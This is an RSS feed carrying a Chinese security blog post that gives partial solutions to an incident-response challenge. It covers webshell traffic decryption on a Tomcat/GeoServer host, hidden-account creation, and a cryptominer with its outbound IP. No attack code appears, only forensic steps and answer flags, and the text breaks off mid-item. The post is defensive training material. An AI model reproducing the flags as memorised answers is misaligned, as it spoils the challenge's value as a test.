<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>Red0</title>
    <link>https://wechat2rss.xlab.app/feed/8c432d74f325c5c6347230d4dc546ecc33c949cd.xml</link>
    <description>安全技术交流&#xA;(wechat feed made by @ttttmr https://wechat2rss.xlab.app)</description>
    <managingEditor> (Red0)</managingEditor>
    <image>
      <url>https://wx.qlogo.cn/mmhead/Q3auHgzwzM41sIIZk12Q6t1zoqn7YEhPkWlDWaeWzVF3scLD14Blibg/0</url>
      <title>Red0</title>
      <link>https://wechat2rss.xlab.app/feed/8c432d74f325c5c6347230d4dc546ecc33c949cd.xml</link>
    </image>
    <item>
      <title>第一届Solar杯应急响应挑战赛部分wp</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg3NDY3NjcxOA==&amp;mid=2247484526&amp;idx=1&amp;sn=60e771e45abd48baadd70e3aedd7ec24</link>
      <description></description>
      <content:encoded><![CDATA[<p>
<span>Red0</span> <span>2024-12-30 14:07</span> <span style="display: inline-block;">浙江</span>
</p>

<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=0c4106b6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F9ic0mFdBia4nJlKG6iaiaR8eF4CBxRuHP16B6Kuzb4UI0OjCaxvbRjGgMMNUcmF7nibhibPrSHcTrvC8gG35KBwic6Slg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="margin-top:15.6pt;mso-para-margin-top:1.0gd;margin-bottom:2.5pt;text-align:left;margin-left:0.0pt;line-height:150%;"><span style="mso-bookmark:u7da8d32b;"><span style="font-size:10.5pt;line-height:150%;font-family:宋体;mso-ascii-font-family:宋体;font-variant:normal;text-transform:none;color:#000000;font-weight:normal;font-style:normal;"><span leaf=""><span textstyle="" style="font-size: 24px;font-weight: bold;">1、题目描述</span></span></span></span><span style="mso-bookmark:u7da8d32b;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:Calibri;font-variant:normal;text-transform:none;"></span></span></p><p style="margin-top:15.6pt;mso-para-margin-top:1.0gd;margin-bottom:2.5pt;text-align:left;margin-left:0.0pt;line-height:150%;"><span style="mso-bookmark:u7da8d32b;"></span><span style="mso-bookmark:u0c06bd8e;"><span style="font-size:10.5pt;line-height:150%;font-family:宋体;mso-ascii-font-family:宋体;font-variant:normal;text-transform:none;color:#000000;font-weight:normal;font-style:normal;"><span leaf=""><span textstyle="" style="font-size: 18px;">题目文件：tomcat-wireshark.zip/web新手运维小王的Geoserver遭到了攻击：黑客疑似删除了webshell后门，小王找到了可能是攻击痕迹的文件但不一定是正确的，请帮他排查一下。flag格式 flag{xxxx}</span></span></span></span><span style="mso-bookmark:u0c06bd8e;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:Calibri;font-variant:normal;text-transform:none;"></span></span></p><p style="margin-top:15.6pt;mso-para-margin-top:1.0gd;margin-bottom:2.5pt;text-align:left;margin-left:0.0pt;line-height:150%;"><span style="mso-bookmark:u0c06bd8e;"></span><span style="mso-bookmark:u1fa4e43a;"><span style="mso-bookmark:u47dfa45f;"><span style="font-family:宋体;mso-ascii-font-family:宋体;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf=""><img class="rich_pages wxw-img" data-backh="322" data-backw="475" data-ratio="0.679" style="width:100%;" data-w="1000" src="https://wechat2rss.xlab.app/img-proxy/?k=0328f2bf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nJlKG6iaiaR8eF4CBxRuHP16BHzibJ5sLUGxZH4JvTlBn6zRJMDNhcNKeFJrgViamhc04iaKOibiblAsX2Aw%2F640%3Fwx_fmt%3Dpng"/></span></span></span></span><span style="mso-bookmark:u1fa4e43a;"></span><span style="mso-bookmark:u47dfa45f;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:Calibri;font-variant:normal;text-transform:none;"></span></span><span leaf=""><span textstyle="" style="font-size: 18px;">    </span></span><o:page></o:page></p><p style="margin-top:15.6pt;mso-para-margin-top:1.0gd;margin-bottom:2.5pt;text-align:left;margin-left:0.0pt;line-height:150%;"><span style="mso-bookmark:u47dfa45f;"></span><span style="mso-bookmark:u625bac70;"><span style="mso-bookmark:uc1ebc78b;"><span style="font-family:宋体;mso-ascii-font-family:宋体;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf=""><img data-backh="325" class="rich_pages wxw-img" data-ratio="0.566" data-w="1000" style="width:100%;" data-backw="574" src="https://wechat2rss.xlab.app/img-proxy/?k=fa6d98e0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nJlKG6iaiaR8eF4CBxRuHP16BsGdaJcFMv7kNEAe2vIRzib8UUka9FQVXwpeemYHlH6FIribb9lciclGvA%2F640%3Fwx_fmt%3Dpng"/></span></span></span></span><span style="mso-bookmark:u625bac70;"></span><span style="mso-bookmark:uc1ebc78b;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:Calibri;font-variant:normal;text-transform:none;"></span></span></p><p style="margin-top:15.6pt;mso-para-margin-top:1.0gd;margin-bottom:2.5pt;text-align:left;margin-left:0.0pt;line-height:150%;"><span style="mso-bookmark:uc1ebc78b;"></span><span leaf="" style="mso-bookmark: u7da8d32b;font-size: 10.5pt;line-height: 150%;font-family: 宋体;mso-ascii-font-family: 宋体;font-variant: normal;text-transform: none;color: #000000;font-weight: normal;font-style: normal;"><span textstyle="" style="font-size: 24px;font-weight: bold;">2、</span></span><span leaf="" style="mso-bookmark: u7da8d32b;font-size: 10.5pt;line-height: 150%;font-family: 宋体;mso-ascii-font-family: 宋体;font-variant: normal;text-transform: none;color: #000000;font-weight: normal;font-style: normal;"><span textstyle="" style="font-size: 24px;font-weight: bold;">题目描述</span></span><span style="mso-bookmark:uc1dfb0ab;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:Calibri;font-variant:normal;text-transform:none;"></span></span></p><p style="margin-top:15.6pt;mso-para-margin-top:1.0gd;margin-bottom:2.5pt;text-align:left;margin-left:0.0pt;line-height:150%;"><span style="mso-bookmark:uc1dfb0ab;"></span><span style="mso-bookmark:uccd7ce13;"><span style="font-size:10.5pt;line-height:150%;font-family:宋体;mso-ascii-font-family:宋体;font-variant:normal;text-transform:none;color:#000000;font-weight:normal;font-style:normal;"><span leaf=""><span textstyle="" style="font-size: 18px;">题目文件：tomcat-wireshark.zip/web新手运维小王的Geoserver遭到了攻击：小王拿到了当时被入侵时的流量，其中一个IP有访问webshell的流量，已提取部分放在了两个pcapng中了。请帮他解密该流量。flag格式 flag{xxxx}</span></span></span></span><span style="mso-bookmark:uccd7ce13;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:Calibri;font-variant:normal;text-transform:none;"></span></span></p><p style="margin-top:15.6pt;mso-para-margin-top:1.0gd;margin-bottom:2.5pt;text-align:left;margin-left:0.0pt;line-height:150%;"><span style="mso-bookmark:uccd7ce13;"></span><span style="mso-bookmark:u31c0c685;"><span style="font-size:10.5pt;line-height:150%;font-family:宋体;mso-ascii-font-family:宋体;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;color:#000000;font-weight:normal;font-style:normal;"><span leaf=""><span textstyle="" style="font-size: 18px;">E:\应急比赛\【题目】小题+综合题\solar\tomcat-wireshark\web\apache-tomcat-9.0.96\work\Catalina\localhost\ROOT\org\apache\jsp 可以找到明文webshell，看到加密逻辑是aes加密且给出了密钥</span></span></span></span><span style="mso-bookmark:u31c0c685;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:Calibri;font-variant:normal;text-transform:none;"></span></span></p><p style="margin-top:15.6pt;mso-para-margin-top:1.0gd;margin-bottom:2.5pt;text-align:left;margin-left:0.0pt;line-height:150%;"><span style="mso-bookmark:u31c0c685;"></span><span style="mso-bookmark:u5173b3c5;"><span style="font-size:10.5pt;line-height:150%;font-family:宋体;mso-ascii-font-family:宋体;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;color:#000000;font-weight:normal;font-style:normal;"><span leaf=""><span textstyle="" style="font-size: 18px;">flag{sA4hP_89dFh_x09tY_lL4SI4}</span></span></span></span><span style="mso-bookmark:u5173b3c5;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:Calibri;font-variant:normal;text-transform:none;"></span></span></p><p style="margin-top:15.6pt;mso-para-margin-top:1.0gd;margin-bottom:2.5pt;text-align:left;margin-left:0.0pt;line-height:150%;"><span style="mso-bookmark:u5173b3c5;"></span><span style="mso-bookmark:u942e15f5;"><span style="font-size:10.5pt;line-height:150%;font-family:宋体;mso-ascii-font-family:宋体;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;color:#000000;font-weight:normal;font-style:normal;"><span leaf=""><span textstyle="" style="font-size: 18px;">aes解密</span></span></span></span><span style="mso-bookmark:u942e15f5;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:Calibri;font-variant:normal;text-transform:none;"></span></span><span leaf=""><span textstyle="" style="font-size: 18px;">    </span></span><o:page></o:page></p><p style="margin-top:15.6pt;mso-para-margin-top:1.0gd;margin-bottom:2.5pt;text-align:left;margin-left:0.0pt;line-height:150%;"><span style="mso-bookmark:u942e15f5;"></span><span style="mso-bookmark:u26952df7;"><span style="mso-bookmark:uaca193ea;"><span style="font-family:宋体;mso-ascii-font-family:宋体;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.482" style="width:613.3400268554688px;height:295.6000061035156px;" data-w="1000" src="https://wechat2rss.xlab.app/img-proxy/?k=b308435f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nJlKG6iaiaR8eF4CBxRuHP16BYfmJGpkgRdibAWU53640RfM7Xj1M7c4JSR3zR5uMLRBFeML7fNAyY4A%2F640%3Fwx_fmt%3Dpng"/></span></span></span></span><span style="mso-bookmark:u26952df7;"></span><span style="mso-bookmark:uaca193ea;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:Calibri;font-variant:normal;text-transform:none;"></span></span></p><p style="margin-top:15.6pt;mso-para-margin-top:1.0gd;margin-bottom:2.5pt;text-align:left;margin-left:0.0pt;line-height:150%;"><span style="mso-bookmark:uaca193ea;"></span><span leaf="" style="mso-bookmark: u7da8d32b;font-size: 10.5pt;line-height: 150%;font-family: 宋体;mso-ascii-font-family: 宋体;font-variant: normal;text-transform: none;color: #000000;font-weight: normal;font-style: normal;"><span textstyle="" style="font-size: 24px;font-weight: bold;">3、</span></span><span leaf="" style="mso-bookmark: u7da8d32b;font-size: 10.5pt;line-height: 150%;font-family: 宋体;mso-ascii-font-family: 宋体;font-variant: normal;text-transform: none;color: #000000;font-weight: normal;font-style: normal;"><span textstyle="" style="font-size: 24px;font-weight: bold;">题目描述</span></span><span style="mso-bookmark:u1c7d1f72;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:Calibri;font-variant:normal;text-transform:none;"></span></span></p><p style="margin-top:15.6pt;mso-para-margin-top:1.0gd;margin-bottom:2.5pt;text-align:left;margin-left:0.0pt;line-height:150%;"><span style="mso-bookmark:u1c7d1f72;"></span><span style="mso-bookmark:u0e32e199;"><span style="font-size:10.5pt;line-height:150%;font-family:宋体;mso-ascii-font-family:宋体;font-variant:normal;text-transform:none;color:#000000;font-weight:normal;font-style:normal;"><span leaf=""><span textstyle="" style="font-size: 18px;">题目文件：tomcat-wireshark.zip/web新手运维小王的Geoserver遭到了攻击：小王拿到了当时被入侵时的流量，黑客疑似通过webshell上传了文件，请看看里面是什么。flag格式 flag{xxxx}</span></span></span></span><span style="mso-bookmark:u0e32e199;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:Calibri;font-variant:normal;text-transform:none;"></span></span></p><p style="margin-top:15.6pt;mso-para-margin-top:1.0gd;margin-bottom:2.5pt;text-align:left;margin-left:0.0pt;line-height:150%;"><span style="mso-bookmark:u0e32e199;"></span><span style="mso-bookmark:u9203aca4;"><span style="font-size:10.5pt;line-height:150%;font-family:宋体;mso-ascii-font-family:宋体;font-variant:normal;text-transform:none;color:#000000;font-weight:normal;font-style:normal;"><span leaf=""><span textstyle="" style="font-size: 18px;">解密出来有个包是里传了flag.pdf</span></span></span></span><span style="mso-bookmark:u9203aca4;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:Calibri;font-variant:normal;text-transform:none;"></span></span></p><p style="margin-top:15.6pt;mso-para-margin-top:1.0gd;margin-bottom:2.5pt;text-align:left;margin-left:0.0pt;line-height:150%;"><span style="mso-bookmark:u9203aca4;"></span><span style="mso-bookmark:u0cc53e14;"><span style="mso-bookmark:u767e4389;"><span style="font-family:宋体;mso-ascii-font-family:宋体;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.555" style="width:613.3400268554688px;height:340.40997314453125px;" data-w="1000" src="https://wechat2rss.xlab.app/img-proxy/?k=e9ec1a63&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nJlKG6iaiaR8eF4CBxRuHP16B6FqyQiczR7dZEUEhrKHJxgaN1ceL9OrmezhHvCLZzChZIcGljJXMLMg%2F640%3Fwx_fmt%3Dpng"/></span></span></span></span><span style="mso-bookmark:u0cc53e14;"></span><span style="mso-bookmark:u767e4389;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:Calibri;font-variant:normal;text-transform:none;"></span></span><span leaf=""><span textstyle="" style="font-size: 18px;">    </span></span><o:page></o:page></p><p style="margin-top:15.6pt;mso-para-margin-top:1.0gd;margin-bottom:2.5pt;text-align:left;margin-left:0.0pt;line-height:150%;"><span style="mso-bookmark:u767e4389;"></span><span style="mso-bookmark:u53b796a3;"><span style="font-size:11.0pt;font-family:宋体;mso-ascii-font-family:宋体;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;color:#000000;font-weight:normal;font-style:normal;"><span leaf=""><span textstyle="" style="font-size: 18px;">cyberchef直接保存为文件打开</span></span></span></span><span style="mso-bookmark:u53b796a3;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:Calibri;font-variant:normal;text-transform:none;"></span></span></p><p style="margin-top:15.6pt;mso-para-margin-top:1.0gd;margin-bottom:2.5pt;text-align:left;margin-left:0.0pt;line-height:150%;"><span style="mso-bookmark:u53b796a3;"></span><span style="mso-bookmark:uff087223;"><span style="mso-bookmark:u53522bc1;"><span style="font-family:宋体;mso-ascii-font-family:宋体;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.337" style="width:613.280029296875px;height:206.66998291015625px;" data-w="1000" src="https://wechat2rss.xlab.app/img-proxy/?k=7ad3c494&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nJlKG6iaiaR8eF4CBxRuHP16BJ3BOmYRZucmglPMRibnAia9OajzliaFTXs0CoY1HTwQuk4THcACYgyrEQ%2F640%3Fwx_fmt%3Dpng"/></span></span></span></span><span style="mso-bookmark:uff087223;"></span><span style="mso-bookmark:u53522bc1;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:Calibri;font-variant:normal;text-transform:none;"></span></span></p><p style="margin-top:15.6pt;mso-para-margin-top:1.0gd;margin-bottom:2.5pt;text-align:left;margin-left:0.0pt;line-height:150%;"><span style="mso-bookmark:u53522bc1;"></span><span style="mso-bookmark:u365e4254;"><span style="font-size:11.0pt;font-family:宋体;mso-ascii-font-family:宋体;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;color:#000000;font-weight:normal;font-style:normal;"><span style="mso-spacerun:yes;"><span leaf=""><span textstyle="" style="font-size: 18px;"> </span></span></span><span leaf=""><span textstyle="" style="font-size: 18px;">flag{dD7g_jk90_jnVm_aPkcs} </span></span></span></span><span style="mso-bookmark:u365e4254;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:Calibri;font-variant:normal;text-transform:none;"></span></span></p><p style="margin-top:15.6pt;mso-para-margin-top:1.0gd;margin-bottom:2.5pt;text-align:left;margin-left:0.0pt;line-height:150%;"><span style="mso-bookmark:u365e4254;"></span><span style="mso-bookmark:u0363dace;"><span style="mso-bookmark:ud4376067;"><span style="font-family:宋体;mso-ascii-font-family:宋体;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf=""><img style="width:613.3400268554688px;height:184.5999755859375px;" class="rich_pages wxw-img" data-ratio="0.301" data-w="1000" src="https://wechat2rss.xlab.app/img-proxy/?k=ae3ae388&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nJlKG6iaiaR8eF4CBxRuHP16BdUK6LVMl2kLLneFJtIuTwCIlkCgpeAibmboicoft3v1DAepoZ97ZJH7w%2F640%3Fwx_fmt%3Dpng"/></span></span></span></span><span style="mso-bookmark:u0363dace;"></span><span style="mso-bookmark:ud4376067;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:Calibri;font-variant:normal;text-transform:none;"></span></span></p><p style="margin-top:15.6pt;mso-para-margin-top:1.0gd;margin-bottom:2.5pt;text-align:left;margin-left:0.0pt;line-height:150%;"><span style="mso-bookmark:ud4376067;"></span><span leaf="" style="mso-bookmark: u7da8d32b;font-size: 10.5pt;line-height: 150%;font-family: 宋体;mso-ascii-font-family: 宋体;font-variant: normal;text-transform: none;color: #000000;font-weight: normal;font-style: normal;"><span textstyle="" style="font-size: 24px;font-weight: bold;">4、</span></span><span leaf="" style="mso-bookmark: u7da8d32b;font-size: 10.5pt;line-height: 150%;font-family: 宋体;mso-ascii-font-family: 宋体;font-variant: normal;text-transform: none;color: #000000;font-weight: normal;font-style: normal;"><span textstyle="" style="font-size: 24px;font-weight: bold;">题目描述</span></span><span style="mso-bookmark:u4c5ec891;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:Calibri;font-variant:normal;text-transform:none;"></span></span></p><p style="margin-top:15.6pt;mso-para-margin-top:1.0gd;margin-bottom:2.5pt;text-align:left;margin-left:0.0pt;line-height:150%;"><span style="mso-bookmark:u4c5ec891;"></span><span style="mso-bookmark:uc1901005;"><span style="font-size:10.5pt;line-height:150%;font-family:宋体;mso-ascii-font-family:宋体;font-variant:normal;text-transform:none;color:#000000;font-weight:normal;font-style:normal;"><span leaf=""><span textstyle="" style="font-size: 18px;">题目附件：mssql、mssql题-备份数据库请找到攻击者创建隐藏账户的时间flag格式 如 flag{2024/01/01 00:00:00}</span></span></span></span><span style="mso-bookmark:uc1901005;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:Calibri;font-variant:normal;text-transform:none;"></span></span></p><p style="margin-top:15.6pt;mso-para-margin-top:1.0gd;margin-bottom:2.5pt;text-align:left;margin-left:0.0pt;line-height:150%;"><span style="mso-bookmark:uc1901005;"></span><span style="mso-bookmark:uda3c8c0c;"><span style="font-size:10.5pt;line-height:150%;font-family:宋体;mso-ascii-font-family:宋体;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;color:#000000;font-weight:normal;font-style:normal;"><span leaf=""><span textstyle="" style="font-size: 18px;">flag{2024/12/16 15:24:21}</span></span></span></span><span style="mso-bookmark:uda3c8c0c;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:Calibri;font-variant:normal;text-transform:none;"></span></span></p><p style="margin-top:15.6pt;mso-para-margin-top:1.0gd;margin-bottom:2.5pt;text-align:left;margin-left:0.0pt;line-height:150%;"><span style="mso-bookmark:uda3c8c0c;"></span><span style="mso-bookmark:u0bd5c2c8;"><span style="font-size:10.5pt;line-height:150%;font-family:宋体;mso-ascii-font-family:宋体;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;color:#000000;font-weight:normal;font-style:normal;"><span leaf=""><span textstyle="" style="font-size: 18px;">windows日志4720</span></span></span></span><span style="mso-bookmark:u0bd5c2c8;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:Calibri;font-variant:normal;text-transform:none;"></span></span><span leaf=""><span textstyle="" style="font-size: 18px;">    </span></span><o:page></o:page></p><p style="margin-top:15.6pt;mso-para-margin-top:1.0gd;margin-bottom:2.5pt;text-align:left;margin-left:0.0pt;line-height:150%;"><span style="mso-bookmark:u0bd5c2c8;"></span><span style="mso-bookmark:u209e39c2;"><span style="mso-bookmark:u6c8a250c;"><span style="font-family:宋体;mso-ascii-font-family:宋体;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf=""><img style="width:613.3400268554688px;height:400.4700012207031px;" class="rich_pages wxw-img" data-ratio="0.653" data-w="1000" src="https://wechat2rss.xlab.app/img-proxy/?k=aa4b3be2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nJlKG6iaiaR8eF4CBxRuHP16BX0icpAK9z42ZxicLfDfqXpqiaYWs5ojCIZQ6flicuOaC8akPXhibOn7tdzQ%2F640%3Fwx_fmt%3Dpng"/></span></span></span></span><span style="mso-bookmark:u209e39c2;"></span><span style="mso-bookmark:u6c8a250c;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:Calibri;font-variant:normal;text-transform:none;"></span></span></p><p style="margin-top:15.6pt;mso-para-margin-top:1.0gd;margin-bottom:2.5pt;text-align:left;margin-left:0.0pt;line-height:150%;"><span style="mso-bookmark:u6c8a250c;"></span><span leaf="" style="mso-bookmark: u7da8d32b;font-size: 10.5pt;line-height: 150%;font-family: 宋体;mso-ascii-font-family: 宋体;font-variant: normal;text-transform: none;color: #000000;font-weight: normal;font-style: normal;"><span textstyle="" style="font-size: 24px;font-weight: bold;">5、</span></span><span leaf="" style="mso-bookmark: u7da8d32b;font-size: 10.5pt;line-height: 150%;font-family: 宋体;mso-ascii-font-family: 宋体;font-variant: normal;text-transform: none;color: #000000;font-weight: normal;font-style: normal;"><span textstyle="" style="font-size: 24px;font-weight: bold;">题目描述</span></span><span style="mso-bookmark:uf88e0a30;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:Calibri;font-variant:normal;text-transform:none;"></span></span></p><p style="margin-top:15.6pt;mso-para-margin-top:1.0gd;margin-bottom:2.5pt;text-align:left;margin-left:0.0pt;line-height:150%;"><span style="mso-bookmark:uf88e0a30;"></span><span style="mso-bookmark:u6d2b7a2f;"><span style="font-size:10.5pt;line-height:150%;font-family:宋体;mso-ascii-font-family:宋体;font-variant:normal;text-transform:none;color:#000000;font-weight:normal;font-style:normal;"><span leaf=""><span textstyle="" style="font-size: 18px;">题目附件：mssql、mssql题-备份数据库请找到恶意文件的名称flag格式 如 flag{*.*}</span></span></span></span><span style="mso-bookmark:u6d2b7a2f;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:Calibri;font-variant:normal;text-transform:none;"></span></span></p><p style="margin-top:15.6pt;mso-para-margin-top:1.0gd;margin-bottom:2.5pt;text-align:left;margin-left:0.0pt;line-height:150%;"><span style="mso-bookmark:u6d2b7a2f;"></span><span style="mso-bookmark:u83a206f4;"><span style="font-size:10.5pt;line-height:150%;font-family:宋体;mso-ascii-font-family:宋体;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;color:#000000;font-weight:normal;font-style:normal;"><span leaf=""><span textstyle="" style="font-size: 18px;">flag{xmrig.exe}</span></span></span></span><span style="mso-bookmark:u83a206f4;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:Calibri;font-variant:normal;text-transform:none;"></span></span><span leaf=""><span textstyle="" style="font-size: 18px;">    </span></span><o:page></o:page></p><p style="margin-top:15.6pt;mso-para-margin-top:1.0gd;margin-bottom:2.5pt;text-align:left;margin-left:0.0pt;line-height:150%;"><span style="mso-bookmark:u83a206f4;"></span><span style="mso-bookmark:uebc07d45;"><span style="mso-bookmark:ud79d3b2b;"><span style="font-family:宋体;mso-ascii-font-family:宋体;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf=""><img style="width:490.6700439453125px;height:455.27001953125px;" class="rich_pages wxw-img" data-ratio="0.928" data-w="1000" src="https://wechat2rss.xlab.app/img-proxy/?k=90abca50&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nJlKG6iaiaR8eF4CBxRuHP16BQv76otO2wHkia6tic0A3vWX2SK0nHicX8vF46D8qVUN1ZpA2rAFhJzKIw%2F640%3Fwx_fmt%3Dpng"/></span></span></span></span><span style="mso-bookmark:uebc07d45;"></span><span style="mso-bookmark:ud79d3b2b;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:Calibri;font-variant:normal;text-transform:none;"></span></span></p><p style="margin-top:15.6pt;mso-para-margin-top:1.0gd;margin-bottom:2.5pt;text-align:left;margin-left:0.0pt;line-height:150%;"><span style="mso-bookmark:ud79d3b2b;"></span><span leaf="" style="mso-bookmark: u7da8d32b;font-size: 10.5pt;line-height: 150%;font-family: 宋体;mso-ascii-font-family: 宋体;font-variant: normal;text-transform: none;color: #000000;font-weight: normal;font-style: normal;"><span textstyle="" style="font-size: 24px;font-weight: bold;">6、</span></span><span leaf="" style="mso-bookmark: u7da8d32b;font-size: 10.5pt;line-height: 150%;font-family: 宋体;mso-ascii-font-family: 宋体;font-variant: normal;text-transform: none;color: #000000;font-weight: normal;font-style: normal;"><span textstyle="" style="font-size: 24px;font-weight: bold;">题目描述</span></span><span style="mso-bookmark:u9f905bb6;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:Calibri;font-variant:normal;text-transform:none;"></span></span></p><p style="margin-top:15.6pt;mso-para-margin-top:1.0gd;margin-bottom:2.5pt;text-align:left;margin-left:0.0pt;line-height:150%;"><span style="mso-bookmark:u9f905bb6;"></span><span style="mso-bookmark:u2e7c9101;"><span style="font-size:10.5pt;line-height:150%;font-family:宋体;mso-ascii-font-family:宋体;font-variant:normal;text-transform:none;color:#000000;font-weight:normal;font-style:normal;"><span leaf=""><span textstyle="" style="font-size: 18px;">题目附件：mssql、mssql题-备份数据库请找到恶意文件的外联地址flag格式 如 flag{1.1.1.1}</span></span></span></span><span style="mso-bookmark:u2e7c9101;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:Calibri;font-variant:normal;text-transform:none;"></span></span></p><p style="margin-top:15.6pt;mso-para-margin-top:1.0gd;margin-bottom:2.5pt;text-align:left;margin-left:0.0pt;line-height:150%;"><span style="mso-bookmark:u2e7c9101;"></span><span style="mso-bookmark:ue7a22b6f;"><span style="font-size:10.5pt;line-height:150%;font-family:宋体;mso-ascii-font-family:宋体;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;color:#777777;font-weight:normal;font-style:normal;"><span leaf=""><span textstyle="" style="font-size: 18px;">flag{203.107.45.167}</span></span></span></span><span style="mso-bookmark:ue7a22b6f;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:Calibri;font-variant:normal;text-transform:none;"></span></span></p><p style="margin-top:15.6pt;mso-para-margin-top:1.0gd;margin-bottom:2.5pt;text-align:left;margin-left:0.0pt;line-height:150%;"><span style="mso-bookmark:ue7a22b6f;"></span><span style="mso-bookmark:u20e9041f;"><span style="font-size:10.5pt;line-height:150%;font-family:宋体;mso-ascii-font-family:宋体;font-variant:normal;text-transform:none;color:#000000;font-weight:normal;font-style:normal;"><span leaf=""><span textstyle="" style="font-size: 18px;">火绒剑监控</span></span></span></span><span style="mso-bookmark:u20e9041f;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:Calibri;font-variant:normal;text-transform:none;"></span></span></p><p style="margin-top:15.6pt;mso-para-margin-top:1.0gd;margin-bottom:2.5pt;text-align:left;margin-left:0.0pt;line-height:150%;"><span style="mso-bookmark:u20e9041f;"></span><span style="mso-bookmark:ue869ae55;"><span style="mso-bookmark:u0ad398f7;"><span style="font-family:宋体;mso-ascii-font-family:宋体;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf=""><img style="width:613.280029296875px;height:27.530029296875px;" class="rich_pages wxw-img" data-ratio="0.045" data-w="1000" src="https://wechat2rss.xlab.app/img-proxy/?k=84831a4a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nJlKG6iaiaR8eF4CBxRuHP16Bentya5RelHbAl6oa7ibyuTE9ic2ltQnqsvcCO5RQGoA8IIUVCfsrs53A%2F640%3Fwx_fmt%3Dpng"/></span></span></span></span><span style="mso-bookmark:ue869ae55;"></span><span style="mso-bookmark:u0ad398f7;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:Calibri;font-variant:normal;text-transform:none;"></span></span></p><p style="margin-top:15.6pt;mso-para-margin-top:1.0gd;margin-bottom:2.5pt;text-align:left;margin-left:0.0pt;line-height:150%;"><span style="mso-bookmark:u0ad398f7;"></span><span leaf="" style="mso-bookmark: u7da8d32b;font-size: 10.5pt;line-height: 150%;font-family: 宋体;mso-ascii-font-family: 宋体;font-variant: normal;text-transform: none;color: #000000;font-weight: normal;font-style: normal;"><span textstyle="" style="font-size: 24px;font-weight: 